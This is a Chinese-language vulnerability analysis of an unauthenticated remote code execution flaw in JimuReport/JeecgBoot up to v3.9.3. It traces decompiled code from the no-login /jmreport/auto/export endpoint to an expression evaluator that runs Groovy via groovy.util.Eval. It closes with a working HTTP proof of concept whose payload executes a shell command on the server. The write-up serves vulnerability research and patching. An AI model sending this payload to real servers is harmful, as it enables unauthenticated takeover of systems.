JimuReport Autoexport 未授权RCE分析
影响版本
JeecgBoot <=v3.9.3(JimuReport <=2.5.0)
环境搭建
https://github.com/jeecgboot/JeecgBoot/releases#release-v3.9.3
下载后docker compose一键搭建环境即可
漏洞分析
对应的文件在jimureport-spring-boot4-starter-2.5.0.jar
org.jeecg.modules.jmreport.automate.b.a
@RestController("jimuReportAutoController")
@RequestMapping({"/jmreport/auto"})
public class a {
@Generated
private static final Logger a = LoggerFactory.getLogger(a.class);
@Autowired
IJimuReportAutoService jimuReportAutoService;
@Autowired
JimuReportExportLogDao jimuReportExportLogDao;
public a() {
}
@JimuNoLoginRequired
@RequestMapping(
value = {"/export"},
method = {RequestMethod.POST}
)
public Result<?> a(@RequestBody JimuReportAutoExportVO jimuReportAutoExportVO) {
String currentDomain = a(getRequest());
jimuReportAutoExportVO.setDomain(currentDomain);
jimuReportAutoExportVO.setExportFrom("api");
a.debug("【调用python】报表自动导出参数,currentDomain ={}, jimuReportAutoExportVO = {}", currentDomain, jimuReportAutoExportVO);
return this.jimuReportAutoService.autoExport(jimuReportAutoExportVO);
}export路由使用了@JimuNoLoginRequired注解,无需登录即可访问
org.jeecg.modules.jmreport.config.firewall.interceptor.JimuReportTokenInterceptor
org.jeecg.modules.jmreport.config.firewall.interceptor.JimuReportTokenInterceptor
JimuNoLoginRequired jimuNoLoginRequired = (JimuNoLoginRequired)method.getAnnotation(JimuNoLoginRequired.class);
if (OkConvertUtils.isNotEmpty(jimuNoLoginRequired)) {
return true;
} else {
boolean isEffectiveToken = false;JeecgBoot的ShiroConfig中允许/jmreport/**可以匿名访问
//积木报表排除
filterChainDefinitionMap.put("/jmreport/**", "anon");所以jmreport/auto/export未登录即可直接访问
往下看
JimuReportAutoExportVO中reportParams[].params可控
List<a> reportParams;
public static class a {
String a;
Map<String, String> b;
@Generated
public Map<String, String> getParams() {
return this.b;
}
@Generated
public void setParams(final Map<String, String> params) {
this.b = params;
}继续看autoExport方法,org.jeecg.modules.jmreport.automate.service.a.a
public Result<?> autoExport(JimuReportAutoExportVO jimuReportAutoExportVO) {
Result result = this.autoAsyncTasks.a(jimuReportAutoExportVO);
return result.isSuccess() ? this.download(result.getResult().toString(), (String)null) : result;
}
autoAsyncTasks.a首先把params转换为exportParams
JSONArray exportParams = jimuReportAutoExportVO.getReportParams4ExportMore();
public JSONArray getReportParams4ExportMore() {
JSONArray result = new JSONArray();
if (OkConvertUtils.isEmpty(this.reportParams)) {
return result;
} else {
for(a detail : this.reportParams) {
JSONObject data = new JSONObject();
data.put("reportId", detail.getId());
data.put("queryParam", JSONObject.toJSONString(detail.getParams()));
data.put("exportType", detail.getExportType());
data.put("fileName", detail.getFileName());
data.put("sheetId", detail.getSheetId());
result.add(data);
}
return result;
}
}然后传入exportMore方法
this.jmReportExportService.exportMore(exportParams, (HttpServletRequest)null, (HttpServletResponse)null, downloadPath);
public void exportMore(JSONArray jsonArray, HttpServletRequest request, HttpServletResponse response, String downloadPath) {
...
} else if ("pdf".equalsIgnoreCase(exportType)) {
result = this.a(response, request, reportId, exportAllObj);
suffix = ".pdf";
String originalName = OkConvertUtils.getString(result.get("name"), "");
String finalFileName = this.a(indexPrefix, rawFileName, originalName, numberedPattern);
a(result, (String)suffix, (Object)finalFileName, (String)downloadPath);
} else if ("word".equalsIgnoreCase(exportType)) {中间两次调用this.a
public Map<String, Object> a(HttpServletRequest request, JSONObject exportAllObj) throws IOException {
String excelConfigId = exportAllObj.getString("excelConfigId");
JSONObject queryParam = exportAllObj.getJSONObject("queryParam");
queryParam.put("printAll", true);
String sheetId = exportAllObj.getString("sheetId");
Result show = this.jmReportDesignService.show(excelConfigId, queryParam.toJSONString(), (List)null, sheetId);
JSONObject jsonObject = this.jmReportFormService.fillInRender((JimuReport)show.getResult(), queryParam);
JimuReport result = (JimuReport)show.getResult();
result.setJsonStrJson(jsonObject);
float dpi = 96.0F;
if (null != request) {
String dpiString = request.getParameter("dpi");
if (OkConvertUtils.isNotEmpty(dpiString)) {
dpi = Float.parseFloat(dpiString);
}
}跟进show方法
public Result<JimuReport> show(String id, String params, List<String> dbCode, String sheetId) {
JSONObject paramsJson = new JSONObject();
boolean onlyPageData = false;
if (OkConvertUtils.isNotEmpty(params)) {
paramsJson = JSON.parseObject(params);
onlyPageData = "1".equals(paramsJson.getString("onlyPageData"));
}
a.debug("============EXCEL JSON数据查询==========");
JimuReport design = this.reportDao.get(id);
JSONObject jsonStrJson = this.jimuReportSheetService.getSheetJsonStr(design, sheetId);
design.setJsonStrJson(jsonStrJson);
design.setCurrentSheetId(sheetId);
a.debug("==== begin 初始,配置的json字符串===" + design.getJsonStrJson());
jsonStrJson = this.d(jsonStrJson);
this.c(paramsJson, jsonStrJson);
Map dataList = this.getDataById(design, paramsJson, onlyPageData, dbCode);getDataById中参数直接传入getDbSql
String dbSql = this.getDbSql(reportDb, paramObject, paramJson, expList, groupField, sqlParamsMap, dbParamType); public String getDbSql(JmReportDb reportDb, JSONObject paramObject, JSONObject paramJson, List<JmExpression> expList, String groupField, Map<String, Object> sqlParamsMap, String dbParamType) {
String baseSql = this.getBaseSql(reportDb, paramObject, sqlParamsMap, dbParamType);然后进入getBaseSql
public String getBaseSql(JmReportDb jmReportDb, JSONObject paramJson, Map<String, Object> sqlParamsMap, String dbParamType) {
String dbId = jmReportDb.getId();
String dbCode = jmReportDb.getDbCode();
String sql = jmReportDb.getDbDynSql();
HashMap resultMap = new HashMap(5);
JSONObject queryJson = new JSONObject();
ArrayList<String> paramNumber = new ArrayList<String>();
if (sql.toLowerCase().contains("where") && ((paramList = this.dbParamDao.list(dbId)) != null || paramList.size() > 0)) {
for (JmReportDbParam param : paramList) {
Object paramName;
Boolean izExitDaoFormat;
String tempKey = param.getParamName();
Object paramValue = "";
if (param.getSearchFlag() == 1) {
paramValue = paramJson.get(param.getParamName());
if (paramValue == null) {
paramValue = "";
}
queryJson.put(tempKey, paramValue);
paramJson.remove(tempKey);
} else {
queryJson.put(tempKey, param.getParamValue());
paramValue = param.getParamValue();
}
if (OkConvertUtils.isNotEmpty(param.getWidgetType()) && "number".equals(param.getWidgetType())) {
paramNumber.add(tempKey);
}
if ((izExitDaoFormat = s.a(OkConvertUtils.getString((String)(paramName = param.getParamName()), ""), sql)).booleanValue()) continue;
if (sqlParamsMap.containsKey(paramName)) {
paramName = (String)paramName + JmReportUtil.a(5);
}
if ("jdbc".equals(dbParamType)) {
sql = sql.replaceAll("'\\$\\{\\s*" + param.getParamName() + "\\s*}'", ":" + (String)paramName);
sql = sql.replaceAll("\\$\\{\\s*" + param.getParamName() + "\\s*}", ":" + (String)paramName);
} else {
sql = sql.replaceAll("'\\$\\{\\s*" + param.getParamName() + "\\s*}'", ":sqlParamsMap." + (String)paramName);
sql = sql.replaceAll("\\$\\{\\s*" + param.getParamName() + "\\s*}", ":sqlParamsMap." + (String)paramName);
}
sqlParamsMap.put((String)paramName, paramValue);
}
}
queryJson.putAll((Map)paramJson);
sql = JmReportUtil.k(sql);
String token = this.jimuTokenClient.getToken();
if (OkConvertUtils.isNotEmpty(token)) {
Map<String, Object> systemParam = this.jimuTokenClient.getUserInfo(token);
sql = JmReportUtil.b(sql, systemParam);
} else {
sql = JmReportUtil.b(sql, null);
}
HashMap<String, Object> paramMap = new HashMap<String, Object>(5);
for (String key : queryJson.keySet()) {
String value = queryJson.getString(key);
if (OkConvertUtils.isEmpty(value)) {
value = "";
}
value = ExpressUtil.a(value, null);
paramMap.put(key, value);
boolean izExitDaoFormat = s.a(OkConvertUtils.getString(key, ""), sql);
if (sqlParamsMap.containsKey(key) && !izExitDaoFormat && OkConvertUtils.isNotEmpty(value)) {
if (paramNumber.contains(key)) {
Object numberValue = JmReportUtil.n(value);
sqlParamsMap.put(key, numberValue);
} else {
sqlParamsMap.put(key, value);
}
}
if (!izExitDaoFormat || !OkConvertUtils.isNotEmpty(value)) continue;
SqlInjectionUtil.specialFilterContentForOnlineReport(value);
}
sql = FreeMarkerUtils.a(sql, paramMap);
return sql;
}queryJson.putAll((Map)paramJson)之后对每个参数值调用ExpressUtil.a
public static String a(String expression, Map<String, Object> systemParam) {
if (expression == null) {
return expression;
} else {
expression = expression.trim();
if (expression.startsWith("=")) {
String temp = expression.replace("=", "");
if (OkConvertUtils.isEmpty(temp)) {
return expression;
} else {
Expression exp = null;
try {
exp = i.compile(temp, true);
} catch (UnsupportedFeatureException e) {
j.error("使用了不支持的表达式功能{}", e.getMessage(), e);
return expression;
}
Object object = exp.execute(new HashMap(5));
return object.toString();
}如果值以=开头则去除=并进行compile,最后通过execute执行表达式
在下面静态代码块中disable了NewInstance
static {
i = i.useLRUExpressionCache(1000);
i.setCachedExpressionByDefault(true);
i.setOption(Options.TRACE_EVAL, false);
i.setOption(Options.ALWAYS_PARSE_FLOATING_POINT_NUMBER_INTO_DECIMAL, true);
i.disableFeature(Feature.NewInstance);但是use与静态方法仍可使用,classpath中存在groovy-3.0.25.jar, 可直接调用groovy.util.Eval.me
public static Object me(final String symbol, final Object object, final String expression) throws CompilationFailedException {
Binding b = new Binding();
b.setVariable(symbol, object);
GroovyShell sh = new GroovyShell(b);
return sh.evaluate(expression);
}PoC
GET /jeecg-boot/jmreport/excelQueryByTemplate?name=&pageNo=1&pageSize=10 HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Accept: application/jsonPOST /jeecg-boot/jmreport/auto/export HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Accept: application/json
{
"reportParams": [{
"id": "907480464532770816",
"exportType": "pdf",
"params": {
"x": "=use groovy.util.Eval; Eval.me('[\"/bin/bash\",\"-c\",\"touch /tmp/pwned\"].execute()')"
}
}]
}
